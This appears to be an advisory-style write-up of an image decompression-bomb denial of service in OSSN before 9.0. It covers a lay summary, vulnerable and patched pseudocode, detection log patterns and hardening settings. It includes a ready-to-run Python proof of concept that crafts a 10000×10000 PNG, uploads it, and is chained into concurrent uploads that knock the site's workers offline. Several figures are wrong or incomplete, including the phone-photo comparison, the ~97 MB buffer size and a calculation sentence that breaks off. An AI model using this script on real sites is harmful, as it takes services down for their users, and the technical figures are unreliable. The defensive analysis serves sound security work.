Open Source Social Network, or OSSN, is free software that lets people create their own Facebook-like websites. Think of it like buying a DIY kit to build your own social media platform instead of using Facebook or Twitter.
Here's the problem: someone can break the website by uploading a seemingly normal image file that's actually massive—like claiming to upload a photo that's 10,000 by 10,000 pixels. That's roughly 100 times bigger than a normal phone photo.
When the server tries to process this monster image, it's like asking one person to carry 50 boxes at once. The computer runs out of memory and processing power trying to handle it. The whole website slows down or stops working for everyone—a "denial of service" attack in security speak.
What makes this worse is that anyone can do it. You don't need special access or a password. You can literally just visit the website and upload the fake image like a normal user.
The websites most at risk are smaller communities running OSSN: niche forums, university social networks, or company intranets. They often have fewer safeguards than big tech companies and smaller budgets to fix problems quickly.
Here's what you should actually do: If you run a website using OSSN, update to version 9.0 immediately—that's when this problem was fixed. If you're a regular user on an OSSN site, there's not much you can do, but you might alert the site's administrator if the server keeps crashing. And if you're building your own platform, avoid lesser-known software unless you have IT staff who can maintain it.
Want the full technical analysis? Click "Technical" above.
CVE-2026-41309 affects Open Source Social Network (OSSN) versions prior to 9.0. The vulnerability exists in the server-side image processing pipeline: OSSN accepts user-uploaded images and processes them through PHP's GD or Imagick stack without first validating declared pixel dimensions. An attacker uploads a specially crafted image — typically a PNG or BMP — with extreme canvas dimensions (e.g., 10000×10000 pixels) while keeping the compressed file small via maximum deflate compression or run-length encoding. The server blindly decompresses and attempts to allocate a full uncompressed bitmap in memory, triggering resource exhaustion.
This is a classic decompression bomb variant applied to image formats. The attack requires no authentication bypass, no memory corruption, and no shellcode — just a valid HTTP multipart upload. The CVSS 8.2 score reflects network-accessible, low-complexity triggering with high availability impact.
Root cause: OSSN's image processing path calls getimagesize() only to read MIME type, then immediately invokes imagecreatefromstring() without rejecting images whose uncompressed raster dimensions would exceed a safe memory threshold.
Affected Component
The vulnerable code lives in OSSN's media/avatar upload handlers. The primary entry point is OssnMedia component, specifically the image resize helper used by both profile photo uploads and post image attachments. The relevant PHP class methods are:
OssnImage::resize() — calls GD's imagecreatefromstring() on raw upload bytes
OssnAvatar::save() — wrapper that pipes uploaded file bytes directly into the resize chain
The vulnerable logic can be reconstructed from the pre-patch codebase. OssnImage::resize() reads the uploaded file, queries basic metadata, then immediately allocates a full GD image resource — no dimension ceiling enforced:
// PHP pseudocode rendered as C for clarity
// File: components/OssnMedia/classes/OssnImage.php (pre-9.0)
bool OssnImage_resize(char *upload_path, int target_w, int target_h) {
// Read entire file into memory
uint8_t *raw_bytes = file_get_contents(upload_path);
size_t raw_len = filesize(upload_path);
// getimagesize() reads headers only — returns [width, height, type]
image_info_t info = getimagesize(upload_path);
int src_w = info.width; // attacker-controlled: e.g. 10000
int src_h = info.height; // attacker-controlled: e.g. 10000
// BUG: no check on src_w * src_h before allocation
// GD internally allocates src_w * src_h * 4 bytes (RGBA) = 400MB for 10000x10000
gdImagePtr src_img = imagecreatefromstring(raw_bytes, raw_len);
if (!src_img) return false; // too late — OOM already triggered
gdImagePtr dst_img = imagecreatetruecolor(target_w, target_h);
gdImageCopyResampled(dst_img, src_img, 0, 0, 0, 0,
target_w, target_h, src_w, src_h);
// ...
}
The GD library's imagecreatefromstring() respects the image header's declared canvas size during decompression. For a 10000×10000 RGBA image, GD allocates:
A default PHP memory_limit of 128M or 256M causes a fatal OOM, killing the worker. Under PHP-FPM with pm.max_children = 10, ten concurrent crafted uploads saturate all workers. With memory_limit = -1 (unlimited, common in poorly configured deployments), the kernel OOM killer terminates the web server process entirely.
Memory Layout
This is not a heap corruption bug — the damage is at the allocator level. The sequence of allocations inside imagecreatefromstring() for a bomb image looks like:
PHP HEAP STATE — PROCESSING CRAFTED 10000x10000 PNG (compressed: ~45KB on disk):
[T=0ms] upload_tmp file read into RAM: ~45 KB @ php_stream_alloc
[T=1ms] libpng inflate output buffer: ~97 MB @ gdMalloc (width*height*3 pre-RGBA)
[T=2ms] GD RGBA canvas allocation: ~381 MB @ gdImageCreateTrueColor
gdImagePtr->pixels row pointers: ~78 KB @ gdMalloc (10000 * sizeof(int*))
gdImagePtr->pixels[0..9999]: ~381 MB @ gdMalloc per-row
TOTAL REQUESTED: ~478 MB for a single 45KB upload
UNDER memory_limit=256M:
gdMalloc fails mid-row-array allocation
PHP throws E_ERROR: Allowed memory size exhausted
PHP-FPM worker process KILLED
All other requests on that worker: DROPPED
UNDER memory_limit=-1 (unlimited):
Kernel satisfies allocations via anonymous mmap
System swap saturates
OOM killer sends SIGKILL to php-fpm master
Entire application: DOWN
Exploitation Mechanics
Crafting the bomb image requires only Python and the Pillow library. The attacker creates a maximally compressible canvas and saves it as PNG with maximum deflate compression:
#!/usr/bin/env python3
# ossn_imgbomb.py — CVE-2026-41309 PoC image generator
# Generates a ~45KB PNG that forces ~478MB server-side allocation
from PIL import Image
import io, requests
W, H = 10000, 10000
# Solid-color canvas: maximum PNG compression ratio
img = Image.new("RGB", (W, H), color=(255, 255, 255))
buf = io.BytesIO()
img.save(buf, format="PNG", compress_level=9, optimize=True)
buf.seek(0)
print(f"[*] Bomb image size on disk: {len(buf.getvalue()) / 1024:.1f} KB")
print(f"[*] Expected server allocation: {W * H * 4 / 1024 / 1024:.0f} MB")
TARGET = "http://target.ossn.local"
# Unauthenticated upload endpoint (profile avatar — no auth required pre-login)
files = {"userfile": ("bomb.png", buf, "image/png")}
data = {"action": "avatar_upload", "token": ""} # OSSN CSRF token may be needed
r = requests.post(f"{TARGET}/avatar/upload", files=files, data=data, timeout=30)
print(f"[*] Response: {r.status_code}")
# 502/503/504 or connection drop = worker killed = DoS confirmed
EXPLOIT CHAIN:
1. Attacker generates bomb.png: 10000x10000 solid-white canvas, ~45KB compressed
2. HTTP POST multipart/form-data to /avatar/upload (or /media/upload)
Content-Type: image/png passes OSSN MIME check (valid PNG header)
3. OSSN calls OssnImage::resize() -> imagecreatefromstring(raw_bytes)
4. PHP/GD decompresses PNG: libpng inflates row-by-row, requests ~478MB from gdMalloc
5a. If memory_limit enforced: PHP worker throws fatal OOM, FPM worker dies
5b. If memory_limit=-1: kernel OOM killer terminates php-fpm, full outage
6. Repeat with 10 concurrent requests to saturate pm.max_children pool
7. All legitimate user requests return 502 Bad Gateway
8. Attack sustains ~$0.00 bandwidth cost: 45KB * 10 requests = 450KB total
Patch Analysis
OSSN 9.0 introduces a dimension validation gate before any decompression occurs. The fix uses getimagesize()'s header-only read (which does not decompress) to obtain declared dimensions, then hard-rejects images exceeding configurable thresholds:
// BEFORE (vulnerable — OssnImage.php pre-9.0):
bool OssnImage_resize(char *path, int tw, int th) {
uint8_t *raw = file_get_contents(path);
// No dimension check before allocation:
gdImagePtr src = imagecreatefromstring(raw); // BUG: decompresses entire canvas
gdImagePtr dst = imagecreatetruecolor(tw, th);
gdImageCopyResampled(dst, src, ...);
}
// AFTER (patched — OssnImage.php 9.0):
#define OSSN_MAX_IMAGE_WIDTH 4096
#define OSSN_MAX_IMAGE_HEIGHT 4096
#define OSSN_MAX_IMAGE_PIXELS (OSSN_MAX_IMAGE_WIDTH * OSSN_MAX_IMAGE_HEIGHT)
bool OssnImage_resize(char *path, int tw, int th) {
// Header-only read: does NOT decompress pixel data
image_info_t info = getimagesize(path);
// PATCH: reject before any memory-intensive operation
if (info.width > OSSN_MAX_IMAGE_WIDTH ||
info.height > OSSN_MAX_IMAGE_HEIGHT ||
(info.width * info.height) > OSSN_MAX_IMAGE_PIXELS) {
ossn_error("Image dimensions exceed allowed maximum");
return false; // upload rejected, no allocation performed
}
// Safe to proceed: worst case ~64MB for 4096x4096 RGBA
uint8_t *raw = file_get_contents(path);
gdImagePtr src = imagecreatefromstring(raw);
gdImagePtr dst = imagecreatetruecolor(tw, th);
gdImageCopyResampled(dst, src, ...);
}
The patch also adds a secondary guard in php.ini recommendations bundled with the 9.0 release notes, enforcing both memory_limit and max_execution_time as defence-in-depth against bypass attempts using valid but pathological aspect ratios (e.g., 1×100000000).
Detection and Indicators
Detection is straightforward at multiple layers:
Web server / access log pattern:
POST /avatar/upload HTTP/1.1 — 502 — elapsed: 0.3s — body: 45312 bytes
POST /avatar/upload HTTP/1.1 — 502 — elapsed: 0.3s — body: 45312 bytes
[10 identical requests within 2 seconds from same source IP]
PHP-FPM error log:
NOTICE: child 14823 exited with code 255 after 0.312 seconds from start
WARNING: [pool www] child_terminate > 0
ERROR: Allowed memory size of 268435456 bytes exhausted
(tried to allocate 104857600 bytes) in OssnImage.php on line 87
kernel: Out of memory: Kill process 14823 (php-fpm) score 921 or sacrifice child
kernel: Killed process 14823 (php-fpm) total-vm:512048kB, anon-rss:498012kB
WAF / upload filter signature: Flag multipart image uploads where Content-Length < 200KB but getimagesize() returns dimensions exceeding 4096×4096. This ratio (high dimensions, tiny file) is the reliable fingerprint of a decompression bomb.
Remediation
Primary: Upgrade to OSSN 9.0 immediately. The patch is a one-function change with no API surface impact.
Short-term mitigations for operators who cannot upgrade:
; php.ini hardening (defence-in-depth, not a complete fix):
memory_limit = 64M ; limits blast radius per worker
max_execution_time = 10 ; kills hung decompression loops
upload_max_filesize = 5M ; reduces attack surface for file size tricks
post_max_size = 6M
Note that getimagesize() reads only the image header/metadata without decompressing pixel data, so this check introduces negligible overhead while preventing the allocation entirely.